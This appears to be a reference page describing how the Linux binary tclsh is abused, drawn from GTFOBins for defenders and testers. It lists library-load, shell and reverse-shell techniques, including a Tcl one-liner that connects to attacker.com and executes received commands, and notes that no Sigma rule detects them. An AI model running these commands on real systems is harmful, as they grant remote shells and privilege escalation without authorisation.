Identifier / Programs / Linux and Unix
tclsh
GTFOBins library-load, reverse-shell, shell 1 Sigma rule name it 3 documented commands
How tclsh is abused
library-load
reverse-shell
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for tclsh.
3 documented commands
library-load unprivileged, with sudo, as SUID, with capabilities
tclsh
load /path/to/lib.so xreverse-shell unprivileged, with sudo, as SUID
tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;shell unprivileged, with sudo, as SUID
tclshNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for tclsh. The identifier reads the line of each that runs tclsh.